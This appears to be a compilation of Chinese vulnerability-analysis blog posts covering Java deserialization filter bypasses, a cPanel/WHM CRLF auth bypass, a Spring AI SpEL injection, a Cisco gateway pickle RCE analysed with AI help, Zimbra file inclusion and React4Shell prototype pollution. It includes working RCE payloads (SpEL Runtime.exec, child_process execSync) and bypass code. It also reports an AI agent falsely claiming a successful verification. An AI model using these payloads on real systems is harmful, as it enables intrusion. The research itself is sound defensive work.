引言

自 2015年Java原生反序列化漏洞被公开以来，十多年间各类防御方案层出不穷。无论是JDK层面的JEP290机制，还是通过重写ObjectInputStream的resolveClass实现黑白名单过滤，在理论上都能有效阻断恶意gadget。但是防御的有效性高度依赖于代码的具体实现。除了挖掘新的gadget绕过黑白名单限制外，过滤逻辑本身的缺陷也会成为被利用的突破口。本文从近期披露的CVE-2026-42779说起，结合近年来多个真实CVE 漏洞案例，剖析反序列化防御在代码层面常见的几个典型误区。

CVE-2026-42779：误用 forClass 导致的逻辑绕过

近期 Apache MINA 披露的 CVE-2026-42779 就是一个典型案例。在此前的 CVE-2024-52046 反序列化漏洞修复中，Apache MINA 在触发点 AbstractIoBuffer.getObject 的 resolveClass 环节引入了白名单检测：

初看之下该修复方案似乎无懈可击，直接丢给 AI 来看也没找出什么问题。但深入分析发现，与常见直接通过 desc.getName 提取类名进行检查有所不同，它首先会使用 desc.forClass 来提取 clazz ，并仅在 clazz 非空时才会执行白名单检查。

查看 ObjectStreamClass.forClass 源码可知，返回值是否为 null 完全取决于私有字段 cl 的赋值状态：

追踪 ObjectStreamClass 的构造链路发现， cl 可以通过私有构造函数赋值：

该私有构造函数在 lookup 中被调用，cl 直接被赋值为传入的 Class 对象：

回到 getObject的调用栈，当type=1时readClassDescriptor会调用lookup，使得forClass返回非null，符合白名单检查的预期。但当type=0时，cl没有被赋值并始终保持null ，导致白名单检测逻辑被完全跳过。通过构造特定的序列化流即可轻松实现绕过：

try (ObjectOutputStream oos = new ObjectOutputStream(baos) {
    @Override    protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
        write(0);  // [1] 强制type=0
        super.writeClassDescriptor(desc);
    }
}) {
    oos.writeObject(obj);
    oos.flush();
}
...

CVE-2026-42779 的最终修复方案如下，核心思路就是将白名单检查前置，确保无论 forClass 结果如何都会执行校验：

该漏洞产生的根本原因就是检查逻辑依赖一个不可靠的前提：forClass 非空，导致攻击者可以在数据流层面构造特定参数实现绕过。

Top Class Level Error：仅检测顶层类的逻辑陷阱

Java 反序列化中 Top Class Level 的错误防御模式也比较常见，以下是我近年来调试过的几个真实案例：

• • CVE-2021-3287 Zoho ManageEngine OpManager SUM Bypass

• • CVE-2023-34040 Spring Kafka ErrorHandlingDeserializer Bypass

• • 某友 FileManageServlet Bypass

• • ...

以 CVE-2021-3287 为例， Zoho ManageEngine OpManager 反序列化触发点 ITOMObjectInputStream 的实现如下：其 resolveClass 仅在 classResolved 为 false （对应解析最外层类）时才执行白名单检查，后续嵌套对象的解析直接放行：

无独有偶，CVE-2023-34040 中 Spring Kafka 的 ErrorHandlingDeserializer 也存在类似逻辑：

针对这种 Top Class Level Error 的绕过思路就是：在最外层包装一个白名单允许的类（比如 DeserializationException ） ，将实际的 gadget 藏在该类的属性中（这与 .NET 中类 BinaryFormatter 的反序列化利用方式有些类似）, 这样构造的 gadget 即可绕过 resolveClass 中的检测 ：

package org.springframework.kafka.support.serializer;
import java.io.Serializable;
import java.util.Set;
public class DeserializationException implements Serializable{
    private static final long serialVersionUID = 8280022391259546509L;
    private Object gadget;
    public DeserializationException(Object set) {
        this.gadget = gadget;
    }
}

resolveClass 检测断链：二次反序列化与自定义类加载

resolveClass 的检测机制是在类描述符解析阶段触发的，这种逐层套娃式的检查链条在某些情况下会被中断。

JRMP/UnicastRef 绕过

一个经典例子就是 JRMP 反序列化中的 UnicastRef 绕过思路：

static {
    proxyBlackList.add("java.rmi.registry");
    classBlackList.add("sun.rmi.server.UnicastRef");
}
@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    Iterator<String> it = classBlackList.iterator();
    while (it.hasNext()) {
        String s = it.next();
        if (desc.getName().contains(s)) {
            throw new ClassNotFoundException(s);
        }
    }
    return super.resolveClass(desc);
}

UnicastRef 重写了readExternal方法，而java.rmi.server.RemoteObject的readObject会调用该方法。由于resolveClass在检查到RemoteObject不在黑名单后，将调用其readObject。此时内部还没有来得及对UnicastRef进行检查就会执行readExternal ，检测链条被切断，从而实现了绕过。

Weblogic 历史上的多次绕过

在 Weblogic T3/IIOP 反序列化漏洞绕过史上，类似的场景屡见不鲜，比如：

• • CVE-2016-0638 ：MarshalledObject.resolveClass 函数将加载字节数组 objBytes 然后调用 readObject 进行二次反序列化，这种机制会跳过外层过滤。

• • CVE-2020-14841 ：RemoteConstructor.readResolve 内部存在 defineClass 和 createInstance 过程，通过自定义类加载实现 RCE 的过程完全不受 resolveClass 过滤机制的影响。

• • ...

CVE-2023-31099 合法的二次反序列化

再比如 CVE-2023-31099 中，Zoho ManageEngine Opmanager 自定义的 ITOMObjectInputStream 采用了白名单检测机制，仅允许反序列化 DataObject 这个合法类 ：

问题在于， readObject获取dataObject对象后，会继续调用transferDataToNOC，经过一系列判断后进入getObjectData，该函数内部会对来自DataObject类的字节数组属性data进行一次全新的readObject，这次反序列化使用默认的ObjectInputStream，完全不受ITOMObjectInputStream.resolveClass 白名单的限制，最终导致防御失效。

防御方式的思考

除了 resolveClass，还可以使用Apache Commons IO的ValidatingObjectInputStream这种第三方库，或者JDK原生的JEP290过滤Filter来构建防御。然而这些只是可供选择的手段，有效性最终仍取决于过滤逻辑是否严密。反序列化防御的核心不在于是否使用了某个安全机制，是否正确理解了反序列化的完整处理过程才是关键。从CVE-2026-42779对forClass的误用，到Top Class 检验的片面性，再到二次反序列化导致的检测断链，这些漏洞证明任何逻辑上的微小错误，都可能导致反序列化防御机制的失效。

cPanel/WHM 是一套基于 Linux 的虚拟主机管理面板，提供网站和服务器管理功能，号称全球装机数量超过 7000 万。CVE-2026-41940 是一个影响 cPanel/WHM 的严重认证绕过漏洞，该漏洞可以直接绕过所有密码和双因素认证，获取系统 ROOT 权限。

进程与认证

2087 端口对应 cPanel/WHM 后端管理服务，对应进程名为 cpsrvd-dormant ，这是一个 Perl 解释器嵌入的程序：

继续分析发现 cpsrvd-dormant 只是一个 launcher，实际处理逻辑位于 cpsrvd 之中。在服务器的 perl 脚本中并没有找到核心认证函数，逆向分析 cpsrvd 发现多个认证相关函数，比如 handle_auth 、 handle_one_connection 等，这些函数均编译在二进制内部，使用静态反编译无法获取处理源码。为了获取实际处理代码，可以采用 GDB attach 到运行中的 cpsrvd 子进程，在 Perl 解释器运行时完成源码还原。这个过程让 AI 来辅助分析效率很高：

获取源码后，我们才能真正完整弄明白整个认证过程。

form 表单认证

form 表单认证数据包如下：

POST /login/?login_only=1 HTTP/1.1
Host: 127.0.0.1:2087
user=test&pass=test&goto_uri=%2F

处理函数为 handle_form_login ，首先检查请求路径是否为登录 URL ：

my $document = $server_obj->request->get_document;
if ($document =~ //u) {   # 匹配 /login 
    # todo}

进入 form login 分支，解析 POST 请求 body ：

my $login_form_ref = $server_obj->timed_parseform(60);

调用 Cpanel::Form::parseform 解析表单数据。密码验证失败会调用 badpass 函数，在返回 401 之前仍然会创建 session 并返回对应的 Cookie 值 whostmgrsession ：

sub badpass{
    my (%OPTS) = @_;
    ...
    note_cphulk_failure(...) if $OPTS{'notefailure'};
    if (!$session && !$OPTS{'skip_session_creation'}) { # [1]
        my $new_session = Cpanel::Session::create(
            'user'       => '',
            'pass'       => '',
            'needs_auth' => 1,
            'ip_address' => $ENV{'REMOTE_ADDR'},
        );
        # 通过 Set-Cookie 返回给客户端        # Cookie 值包含 ,obhex 后缀
    }
    # 返回 401 响应    send_401_response(...);
}

create 函数代码没有编译到二进制文件中，而是位于 /usr/local/cpanel/Cpanel/Session.pm ：

sub create{
    my (%args) = @_;
    my $session_name = _generate_session_name();
    my $ob = _generate_ob_secret();
    filter_sessiondata(\%args); # 过滤
    write_session($session_name, \%args);
    return "$session_name,$ob";
}

函数内会调用 filter_sessiondata 过滤 CRLF 。此时 write_session 写入文件到 /var/cpanel/sessions/raw 目录，文件内容如下：

Basic Auth 认证

cPanel/WHM 还支持 AUTH_HEADER 认证。如果携带 Cookie 访问非 /login 接口，将进入 handle_auth 函数完成 session 加载：

sub handle_auth{
    my $session = $server_obj->get_current_session;
    my $SESSION_ref;
    if ($session and ($session ne 'closed')) {    # session 
        $session =~ tr[/][]d;    # 删除 / ，防止路径穿越
        $SESSION_ref = Cpanel::Session::Load::loadSession($session);

进入 loadSession ，将移除 cookie 中的 ob 后缀，后续会加载前面 badpass 调用 create 创建的文件，最终获取 session_ref 对象：

sub loadSession{
    my ($session) = @_;    # session
    my $ob = get_ob_part(\$session);
    my $cache_file = "/var/cpanel/sessions/cache/${session}.json";
    if (-f $cache_file) {
        my $json_data = Cpanel::AdminBin::Serializer::Load($cache_file);
        if ($json_data && ref $json_data eq 'HASH') {
            if ($ob && $json_data->{'pass'}) {
                my $encoder = Cpanel::Session::Encoder->new('secret' => $ob);
                $json_data->{'pass'} = $encoder->decode_data($json_data->{'pass'});
            }
            return $json_data;
        }
    }
    my $raw_file = "/var/cpanel/sessions/raw/${session}";
    ...
    # 加载解析    return $session_ref;
}

回到 handle_auth 的 Basic Auth 解析环节，获取 header 中的 Authorization ，进行 base64 解码提取 user 和 pass ：

my $auth_header = $server_obj->request->get_headers->{'authorization'};
    if (not($auth_header)) {
       ...
    }
    else {
        my($authtype, $encoded) = split(/ /u, $auth_header, 2);
        if ($authtype =~ /^Basic$/iu) {
            $server_obj->auth->set_auth_type('basic');
            my($user, $pass) = split(/:/u, decode_base64($encoded), 2);
            $user = $server_obj->auth->set_user($user);
            $pass = $server_obj->auth->set_pass($pass);

漏洞触发的关键点位于 set_pass 函数，该函数实现代码如下，没有对 \r\n 字符进行过滤检查：

# Cpanel::Server::Auth
sub set_user{
    my ($self, $user) = @_;
    $user =~ s{[\0/]}{}g;    # [1]
    $self->{'user'} = $user;
    return $user;
}
sub set_pass{
    my ($self, $pass) = @_;
    $pass =~ s/\0//g;         # [2]
    $self->{'pass'} = $pass;
    return $pass;
}

随后调用 _validate_username 验证用户名是否合法（root 合法）。在密码验证之前，请求数据会先保存到 session 中，在 handle_auth 返回前，这个数据写入操作已经完成。这里与前面 session create 的区别在于，没有调用 filter_sessiondata 进行 CRLF 过滤：

sub saveSession{
    my ($session, $session_ref, %options) = @_;
    my $ob = get_ob_part(\$session);
    return 0 if !is_valid_session_name($session);
    my $encoder = $ob && Cpanel::Session::Encoder->new('secret' => $ob);
    local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'})
      if $encoder && length $session_ref->{'pass'};
    write_session($session, $session_ref);
}

CRLF 注入

注入的 \r\n 在 raw 文件中会被解析为独立的行。这是因为 Cpanel::Config::LoadConfig::loadConfig 在读取 session raw 文件时，会检测文件内容是否包含 \r ，如果包含则使用 \r?\n 作为行分隔符进行 split ：

my $has_cr = ($cfg_txt =~ /\r/);
my $split_on = $has_cr ? '\r?\n' : '\n';
$conf_ref = {
    map { ($k, $v) = (split(m/=/, $_, 2))[0, 1]; defined($v) ? ($k, $v) : () }
    split(/$split_on/, $cfg_txt)
};

构造测试请求发现虽然返回 401 ，但是 CRLF 注入实际已经完成：

认证绕过到 RCE

上面的 CRLF 注入能用来干什么呢？handle_auth 函数返回后，后续在调用 docheckpass_whostmgrd 时，会通过 check_authok_user 函数进行用户验证，当存在 session_ref 对象中存在 successful_internal_auth_with_timestamp 键值，并且获取的时间戳在合理范围之内，会直接返回 AUTH_OK ，完全跳过后续的密码验证逻辑：

sub check_authok_user{
    my (%OPTS) = @_;
    my $user = $OPTS{'user'};
    my $session_ref = $server_obj->get_session_ref;
    if ($session_ref->{'successful_internal_auth_with_timestamp'}) { # [1]
        my $timestamp = $session_ref->{'successful_internal_auth_with_timestamp'};
        if ($timestamp > (time() - $SESSION_TIMEOUT)) {
            return $AUTH_OK;
        }
    }
    my $check_result = Cpanel::CheckPass::UNIX::checkpassword(
        $user, $OPTS{'pass'}, $OPTS{'encrypted_pass'}
    );
    return $check_result ? $AUTH_OK : $AUTH_FAILED;
}

很容易构造注入 successful_internal_auth_with_timestamp 的请求绕过认证并获取 ROOT 权限。

后续可结合一些 API 接口实现 RCE ，具体过程从略。

CVE-2026-41940 是一个多步骤的认证绕过漏洞，最终可导致匿名 RCE。漏洞触发的关键是set_pass没有进行CRLF过滤，同时saveSession也没有像create函数那样调用filter_sessiondata进行过滤，导致产生了CRLF注入。此外，关键的perl代码其实被编译进了cpsrvd，审计前需要进行动态提取，这种有难度的操作现在用AI 来辅助很容易实现。

引言

近日 Spring 官方发布安全通告，披露了 Spring AI 框架存在一处高危的 SpEL 表达式注入漏洞 (CVE-2026-22738) 。漏洞源于 SimpleVectorStore 实现向量检索过滤的逻辑中，将用户提供的过滤器表达式拼接到了 SpEL 模板中，并使用 StandardEvaluationContext 进行解析，导致可构造恶意 payload 实现 RCE 。

官方通报中提到了漏洞利用的前提条件：

In Spring AI, a SpEL injection vulnerability exists in SimpleVectorStore when a user-supplied value is used as a filter expression key. A malicious actor could exploit this to execute arbitrary code.

影响版本：

• • 1.0.x < 1.0.5

• • 1.1.x < 1.1.4

漏洞分析

SimpleVectorStore 是 Spring AI 提供的一个简单的内存向量数据库实现，它允许用户定义类似 SQL 的过滤条件。具体使用案例可以参考：

https://www.infoworld.com/article/4091447/spring-ai-tutorial-get-started-with-spring-ai.html

SpEL表达式注入

漏洞触发点位于 SimpleVectorStore#doFilterPredicate 。该函数会将过滤条件直接通过 StandardEvaluationContext 函数进行解析，存在 SpEL 表达式注入风险：

搜索 doFilterPredicate 被调用的点，可以找到 similaritySearch 函数：

SimpleVectorStore.doFilterPredicate(SearchRequest)
    SimpleVectorStore.doSimilaritySearch(SearchRequest)
        AbstractObservationVectorStore.similaritySearch(SearchRequest)

similaritySearch 函数会使用向量数据库的嵌入模型，将查询的问题转换为多维向量。一个典型的 RAG 查询 demo 如下：

@PostMapping("/query")
public ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) {
    String result = ragService.query(simpleQuery);
...
public String query(SimpleQuery sr) {
    Filter.Expression maliciousExpr = new Filter.Expression(
            Filter.ExpressionType.EQ,
            new Filter.Key(sr.getFilterExpression()),
            new Filter.Value("anything")
    );
    SearchRequest searchRequest = SearchRequest.builder()
            .query(sr.getQuery())
            .topK(sr.getTopK())
            .similarityThreshold(sr.getSimilarityThreshold())
            .filterExpression(maliciousExpr)
            .build();
    List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);

Bypass FilterExpressionTextParser

为了进入 StandardEvaluationContext 处理逻辑，传递过来的 filterExpression 需要非空，格式如下：

/**
 * Triple that represents and filter boolean expression as
 * <code>left type right</code>.
 *
 * @param type Specify the expression type.
 * @param left For comparison and inclusion expression types, the operand must be of
 * type {@link Key} and for the AND|OR expression types the left operand must be
 * another {@link Expression}.
 * @param right For comparison and inclusion expression types, the operand must be of
 * type {@link Value} or array of values. For the AND|OR type the right operand must
 * be another {@link Expression}.
 */public record Expression(ExpressionType type, Operand left, Operand right) implements Operand {
    public Expression(ExpressionType type, Operand operand) {
        this(type, operand, null);
    }
}

filterExpression 对象由 Key 、Type 和 Value 组成。同时注意存在 FilterExpressionTextParser 过滤检查：

convertExpression 将 filter.ExpressionAST 递归遍历，其中 doKey 将 Key 无任何转义拼接到 #metadata 模板：

doValue 通过 emitSpelString 对 Value 中单引号、反斜杠等进行了转义，并且格式化为了日期格式：

Value 难以直接利用，但可以将 SpEL 载荷放到 Key 中来完成注入，这与官方通报的漏洞描述一致。构造如下请求可以触发 RCE ：

'] + T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'}) + #metadata['x

Bypass FilterExpressionTextParser

此外，filterExpression 还支持纯字符串进行实例化：

public Builder filterExpression(@Nullable String textExpression) {
    this.searchRequest.filterExpression = (textExpression != null)
            ? new FilterExpressionTextParser().parse(textExpression) : null;
    return this;
}

但是如果使用字符串形式的过滤器，Spring AI 会调用 FilterExpressionTextParser 进行格式处理。这里存在空值检查，并会自动加入 WHERE 前缀，更关键还会进行 ANTLR4 校验：

修改 demo 如下：

@PostMapping("/query")
public ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) {
    String result = ragService.query(simpleQuery);
...
public String query(SimpleQuery sr) {
    // Filter.Expression maliciousExpr = new Filter.Expression(    //         Filter.ExpressionType.EQ,
    //         new Filter.Key(sr.getFilterExpression()),    //         new Filter.Value("anything")
    // );    SearchRequest searchRequest = SearchRequest.builder()
            .query(sr.getQuery())
            .topK(sr.getTopK())
            .similarityThreshold(sr.getSimilarityThreshold())
            .filterExpression(sr.getFilterExpression())  //字符串实例化
            .build();
    List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);

常规的 SpEL 利用方式不符合语法规范会被拦截。可以在最外层包裹双引号将 SpEL 改造成合法的 Key 。

• • FilterExpressionTextParser 将双引号内的字符串作为 Key ，符合语法校验；

• • SimpleVectorStore 处理 AST 时，会直接取出引号内的内容进行拼接。

绕过检查的 payload 如下：

"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['" == 'anything'

修复方式

commit 记录：

https://github.com/spring-projects/spring-ai/commit/ba9220b22383e430d5f801ce8e4fa01cf9e75f29

没有采用常见的修复方式：将 StandardEvaluationContext 换成 SimpleEvaluationContext ，而是彻底移除 SpEL ，改用自定义 AST 遍历器直接求值。

由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。

欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。

引言

现在 AI 不仅能写代码，也越来越擅长发现漏洞。近期网上有不少利用 AI 批量挖漏洞的文章，但是漏洞光看数量是不够的，还要看质量。对于那些逻辑比较复杂的漏洞，AI 的表现将会如何呢？结合近期披露的 CVE-2025-20393 来检验一下 AI 的分析能力。

该漏洞源于 Cisco 安全邮件网关的垃圾邮件隔离功能中，对 HTTP 请求缺少验证，导致恶意攻击者可实现 ROOT 权限的远程命令执行。利用 Claude 4.6 和自己写的几个 mcp 来对该漏洞进行分析复现。整个过程比较复杂，并且很多时候都是 AI 在自动化工作，导致分析非常零散，下面重点分享 AI 分析时需要关注的几个关键环节。

系统分析

对这种复杂系统进行分析，可以借助一些 mcp或tools来辅助。挂载修改root账号的密码，利用remoteshell mcp接入虚拟机，让AI具备了对虚拟环境的接入与ROOT权限的执行能力。经过AI分析梳理可知，目标设备运行的Cisco AsyncOS基于FreeBSD操作系统进行构建，82/83端口对应Spam Quarantine服务，进程为euq_webui，该进程会将数据通过Unix Socket传递给后端的euq_server进行处理。可以将euq_webui/euq_server下载并放入Ninja进行逆向分析，并利用ninja mcp来构建AI 接入链路：

使用的 2 个 mcp 服务都是自己开发的，虽然也有类似的开源项目，但是对于这种常用工具，建议还是自己编写为好，现在 AI 发展太快，很难保证开源工具是安全的。其中 remoteshell mcp 给 AI 提供接入虚拟机底层 bash 的操作能力，ninja mcp 提供了对关键服务程序的逆向分析能力。剩下就是让大模型来帮我们完成分析。

python加载与解密

很快，AI 通过分析判断出 euq_webui 是一个自定义的 python2.6 解释器，并且采用 .ipoe 包对 python 源码进行了加密：

直接让 AI 对加密文件进行解密，然后发现它做了很多有趣的尝试，结合 remoteshell mcp 服务，尝试了从内存中 dump 代码、搜索分析确定解密算法等多种方式，并在虚拟机中构造了基于 python2.6 的解密脚本，经过多轮尝试与自主纠错，最终成功完成了解密：

这里如果自己来手搓，感觉就要花费不少的时间，AI 确实极大提升了效率。

pickle反序列化触发点

在 AI 辅助下从解密的 python 文件中可以分析出触发 pickle 反序列化的流程，并且确定参数来自请求输入可控：

CommandMessage.send_message()
    │
    ├── struct.pack('>B', len(self.destination))
    │       ↑
    │   当 destination 为 256 字节时
    │   Python 2.6: pack('>B', 256) → 0x00 (静默溢出)
    │   Python 3.x: pack('>B', 256) → struct.error (异常)
    │
    ▼
CommandMessage.read_message()
    │
    ├── dst_len = 0 (从 header 解析)
    ├── self.destination = recv(0)  → 空，跳过
    ├── self.message = recv(msg_len) → 实际读到 destination 区域数据
    │
    ▼
CommandServer.handle_client()
    │
    ├── cPickle.loads(msg.message)  → 反序列化攻击者控制的数据
    │
    ▼
    os.system(attacker_command)     → ROOT RCE

触发漏洞的代码段如下：

def read_message(read_method, timeout=0):
    header = _read(read_method, Commandment.HEADER_LENGTH, timeout)
    (version, ttl, message_length, message_type, 
     source_length, destination_length, txn_tag) = struct.unpack(...)
    source = _read(read_method, source_length, timeout)
    if destination_length:  # destination_length = 0, 跳过!
        destination = _read(...)
    else:
        destination = ''
    message = _read(read_method, message_length, timeout) 

该漏洞触发的关键在于旧版本 python2.6 和 python3 存在一个重要区别：当 destination 超出 B 的范围时（256），python2 直接会进行高位截断，而 python3 则会抛出异常：

# CommandMessage.py send_message():
header = struct.pack(Commandment.HEADER, ..., len(destination), ...)
#                                               ^^^^^^^^^^^# HEADER = '>BBIIBB32s'  →  destination_length 是 'B' (unsigned byte, 0-255)
# Python 2.6: struct.pack('>B', 256) 静默截断为 0x00# Python 3.x: struct.pack('>B', 256) 抛出 struct.error
>>> struct.pack('>B', 256)
'\x00'                          # 256 溢出为 0，不报错!
>>> struct.pack('>B', 257)
'\x01'                          # 257 溢出为 1

同时注意为了确保 destination_length 取值为 0 ，传入的参数长度不能过长，AI 也给出了具体原因：

分析完毕后，AI 还会自行确定数据包格式，并尝试构造测试脚本进行验证：

最后通过 remoteshell mcp 进入虚拟机查看命令是否执行成功：

小结与思考

大模型在整个分析过程中的表现远超出我的预期，在进程服务配置分析、文件解密，代码审计、数据流跟踪等方面都极大提高了效率。但是目前阶段对于类似这种复杂漏洞，感觉仅靠编写几个 skill 或者 mcp 服务仍无法实现全自动分析，比如分析 CVE-2025-20393 时遇到了不少需要优化和解决的问题：

• • 系统逻辑和运行流程复杂，AI 在分析时也存在一定的随机性，需要与专家不断进行"交流"才能保证流程正确，想通过类似任务编排或 skill 来做 workflow 实现全自动化不太可能。

• • AI 最初对代码进行审计时，其实并没有发现该漏洞的触发点，而是通过提示后才“反应过来”，可见大模型针对具体代码进行审计时，还是很容易出现遗漏，特别是这种相对比较小众的知识点，需要专家明确并多次进行提示。这个问题在对其他一些系统进行分析时也经常遇到。

• • AI 在分析过程中容易构造出一种"逼真"的假象，比如构造脚本进行漏洞验证时，最初总是失败，然后它会尝试将脚本通过 remoteshell mcp 直接在目标虚拟机中构造测试，并宣称验证成功 ，结果研究后发现代码走的是 Unix socket 而非远程 http  。经过反复提醒并加强约束，大模型在多次纠错后才构造出正确的 POC 。

• • 当前大模型上下文长度得到了极大提升，通过任务拆解以及集成SubAgent 确实能够满足一般的分析需求，但是测试发现上下文一旦变长，模型很容易"忽略"掉前面的提示词要求和约束条件，需要多次提醒才能纠正。

现阶段想依靠 AI 全自动完成所有任务感觉还不太行，我们可以把它当成自己的工作搭子，允许它犯错和"偷懒"，也不能完全信任它的产出，分工合作组合才能实现最佳效果。模型进化速度很快，搞网络安全也需要紧跟 AI 发展趋势，不断更新自己的技术栈，这样才能始终保持竞争力。

近日 Zimbra 披露了一个本地文件包含漏洞 CVE-2025-68645 ，从公开信息看应该与前期朋友分享给我的一个漏洞撞了，下面就将简要分析过程分享给大家。该漏洞源于 RestFilter 过滤器对参数处理不当，导致未经身份认证的用户可以构造恶意请求，读取服务器 WebRoot 目录下的敏感文件。

RestFilter

Zimbra 使用Jetty作为底层Web容器。在Zimbra和ZimbraAdmin这两个应用的web.xml中均可以找到RestFilter配置，该Filter匹配/h/* 请求：

查看 com.zimbra.webClient.filters.RestFilter 实现代码，存在非常明显的 request 属性覆盖过程，即请求参数的值将会被复制给同名的属性：

那么此处的属性覆盖是否可以利用呢？

JspServlet

继续查看 web.xml ，发现多个 /h/* 请求被定义在 jsp-config 中，对应处理的 Servlet 类为 org.apache.jasper.servlet.JspServlet ：

<jsp-config>
    <jsp-property-group>
      <url-pattern>/h/changepass</url-pattern>
      <url-pattern>/h/imessage</url-pattern>
      <url-pattern>/h/postLoginRedirect</url-pattern>
      <url-pattern>/h/printcalls</url-pattern>
      <url-pattern>/h/printcalendar</url-pattern>
      <url-pattern>/h/printvoicemails</url-pattern>
      <url-pattern>/h/printappointments</url-pattern>
      <url-pattern>/h/rest</url-pattern>
      <url-pattern>/h/printcontacts</url-pattern>
      <url-pattern>/h/printconversations</url-pattern>
      <url-pattern>/h/printmessage</url-pattern>
      <url-pattern>/h/printtasks</url-pattern>
      <url-pattern>/h/viewimages</url-pattern>
      <url-pattern>/modern/</url-pattern>
    </jsp-property-group>
  </jsp-config>

在 JspServlet 中，当从 request 中提取 javax.servlet.include.servlet_path 属性非空时，url 将被赋值为该属性的值：

组合实现文件包含

我们知道 Jetty 正常情况下无法直接访问类似 /WEB-INF/web.xml 的文件资源，原因是 Jetty 在 Handler 层会对 /WEB-INF 和 /META-INF 的访问进行拦截，处理代码位于 org.eclipse.jetty.server.handler.ContextHandler.doHandle ，该函数将调用 isProtectedTarget 判断请求是否属于被保护对象：

public void doHandle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
    DispatcherType dispatch = baseRequest.getDispatcherType();
    boolean new_context = baseRequest.takeNewContext();
    try {
        if (new_context) {
            this.requestInitialized(baseRequest, request);
        }
        if (dispatch != DispatcherType.REQUEST || !this.isProtectedTarget(target)) {
            this.nextHandle(target, baseRequest, request, response);
            return;
        }
        baseRequest.setHandled(true);
        response.sendError(404);
    } finally {
        if (new_context) {
            this.requestDestroyed(baseRequest, request);
        }
    }
}

回顾 RestFilter 和 JspServlet 的处理逻辑可知，如果将两者结合起来就可以绕过上述检查机制，从而实现对 /WEB-INF 等限制目录的访问：

前面已经提到，Zimbra 和 ZimbraAdmin 都配置了 RestFilter ，因此这两个接口均可以实现 WebRoot 目录下的文件包含。读取 /WEB-INF/web.xml 过程如下：

接上文： 人工深度调试剖析 CVE-2025-55182 React4Shell 反序列化漏洞（一） 。

原型链污染Sink点

前面分析已经讲到，同时满足 isMultipartAction 和 isFetchAction 条件的请求，将传入 decodeReplyFromBusboy 函数完成反序列化处理。针对请求中的每一个 field 对象，分别调用 resolveField 进行解析。为了方便调试，构造如下 demo ：

------WebKitFormBoundaryMbWcGIXACxyQWJIp
Content-Disposition: form-data; name="1"
{"a":{"b":"foo"}}
------WebKitFormBoundaryMbWcGIXACxyQWJIp
Content-Disposition: form-data; name="0"
["$1:a:b"]
------WebKitFormBoundaryMbWcGIXACxyQWJIp--

当解析 name为1的field时，参数是一个正常的Json字符串，经过反序列化处理后将生成Object对象。重点跟踪name为0的解析过程，经过reviveModel迭代后，value将从Array对象变成$1:a:b字符串，然后进入parseModelString 函数进行处理：

在 parseModelString 中，判断 value 是否以 $ 开头，并根据第二个字符的取值选择不同的处理方式，对于上述请求，将去掉首字符 $ ，然后调用 getOutlinedModel ：

getOutlinedModel 函数中将传入的 reference （对应 value ）利用 : 进行分割，并尝试从生成的数组中提取第一个元素转换为整数赋值给 id ：

接着提取 id对应的Chunk对象，并根据status取值来选择对应处理方式，这里id=1，因此将尝试获取name="1"模块生成的Object对象（涉及到Promise异步处理等，调试过程从略），直到status变为fulfilled（加载完毕），遍历之前分割生成的数组，迭代获取parentObject 对象：

parentObject 最终取值为 foo ，其变化过程如下：

$1:a:b
    -> {"a":{"b":"foo"}}.a.b
        -> foo

这里传入的参数来自于用户请求可控，因此如果传入类似 __proto__ ，那么就可能出现原型链污染。比如将请求变为：

------WebKitFormBoundaryMbWcGIXACxyQWJIp
Content-Disposition: form-data; name="1"
[]
------WebKitFormBoundaryMbWcGIXACxyQWJIp
Content-Disposition: form-data; name="0"
{"a":"$1:__proto__:constructor"}
------WebKitFormBoundaryMbWcGIXACxyQWJIp--

最终将获取 Array 类型的构造函数对象：

如果再加一个 constructor 呢？

{"a":"$1:__proto__:constructor:constructor"}

可以获取到 Function 对象：

变化过程如下：

$1:__proto__:constructor:constructor
    ->[]:__proto__:constructor:constructor
        ->Array:constructor:constructor
            ->Array#constructor:constructor 
                ->new Function

除了 getOutlinedModel 这个 Sink 点外，调试发现还有其他的多个潜在 Sink 点，比如 createModelResolver 函数等，实际触发哪个 Sink 取决于请求的格式 ：

漏洞触发流程

在构造利用 payload 之前，先分析下 parseModelString 函数的解析过程。重点关注以下几个：

• • @

case "@":
    return (
      (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);

将前面的 $@ 去掉，然后获取对应的 Chunk 对象，比如：

------WebKitFormBoundaryMbWcGIXACxyQWJIp
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryMbWcGIXACxyQWJIp
Content-Disposition: form-data; name="0"
{"a":"$1:__proto__:constructor:constructor"}
------WebKitFormBoundaryMbWcGIXACxyQWJIp--

此时将会获取 Chunk 对象本身：

• • B

case "B":
    return (
      (obj = parseInt(value.slice(2), 16)),
      response._formData.get(response._prefix + obj)
    );
}

将会触发 response._formData.get 调用，如果可以污染 get ，那么就可能实现 RCE 。根据公开 POC 构建如下请求：

------WebKitFormBoundaryMbWcGIXACxyQWJIp
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryMbWcGIXACxyQWJIp
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":0,"value":"{\"then\":\"$B\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('calc').toString().trim();","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryMbWcGIXACxyQWJIp--

调试获取关键的几个解析过程：

• • "$@0" - 获取 Chunk 对象：

• • $1 :__proto__: then - 迭代后最终得到一个 then 函数，对应 Promise 异步操作函数，相当于创建了一个 Thenable 对象 ：

• • $1:constructor:constructor - 解析到 _response:_formData:get 时将得到 new Function ：

最终 response._formData.get 将被污染为 Function 对象，并进入 $B 解析流程：

